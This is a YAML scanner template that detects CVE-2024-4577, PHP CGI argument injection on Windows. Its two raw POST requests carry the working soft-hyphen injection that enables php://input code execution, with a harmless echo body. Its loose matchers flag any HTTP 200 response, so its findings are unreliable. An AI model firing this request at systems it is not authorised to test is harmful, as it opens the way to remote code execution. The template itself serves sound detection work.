CVE-2024-4577.yaml

id: CVE-2024-4577
info:
  name: PHP CGI Argument Injection (CVE-2024-4577)
  author: Eslam Mohamed Elabd
  severity: high
  description: |
    This template detects PHP CGI Argument Injection vulnerability (CVE-2024-4577). The vulnerability allows an attacker to inject arguments into PHP CGI, potentially enabling remote code execution.
  tags: cgi, injection, php, cve-2024-4577

requests:
  - raw:
      - |
        POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 31

        <?php echo "CVE-2024-4577"; ?>
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "CVE-2024-4577"
          - "directory"
          - "index of"
        condition: or
      - type: status
        status:
          - 200

  - raw:
      - |
        POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 31

        <?php echo "CVE-2024-4577"; ?>
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "CVE-2024-4577"
          - "directory"
          - "index of"
        condition: or
      - type: status
        status:
          - 200